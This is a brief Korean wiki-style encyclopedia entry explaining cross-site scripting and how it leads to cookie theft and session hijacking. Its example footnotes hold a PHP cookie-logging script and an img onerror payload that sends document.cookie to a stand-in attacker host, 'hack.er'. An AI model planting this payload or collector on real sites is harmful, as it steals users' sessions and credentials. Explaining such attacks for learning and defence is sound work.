[[분류:해킹]] == 개요 == Cross-site Scripting.[* 줄이면 CSS인데 [[CSS|Cascading Style Sheet]]와 혼동이 올 수 있어서 XSS라고 부르는 것이다.] [[SQL injection]]과 함께 웹 상에서 가장 기초적인 취약점 공격 방법의 일종으로, 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법을 말한다. 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며,[* 사용자 입장에서는 삽입된 코드가 원래부터 존재하는 코드인지 아닌지 분간 할 수 없다.] 보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다. ==예시== 해커의 홈페이지에 PHP 파일을 만들고,[* 예시에서는 Cookie.php라는 이름의 PHP 파일을 생성한다. 코드 - {{{<? fwrite(fopen("XSS.txt","a+"), $_GET['cookie']); ?>}}}] 공격할 사이트에 스크립트를 심은 뒤,[* 예시에서는 hack.er라는 이름의 사이트를 기준으로 한다. 코드 - {{{<img src="#" onerror="location.href('http://hack.er/Cookie.php?cookie=' + document.cookie);">}}}] 사용자가 스크립트가 심어진 페이지를 볼 경우, 쿠키값이 해커의 홈페이지로 넘어가서 세션 하이재킹이 가능해진다. [[파일:XSS테스트.svg]]
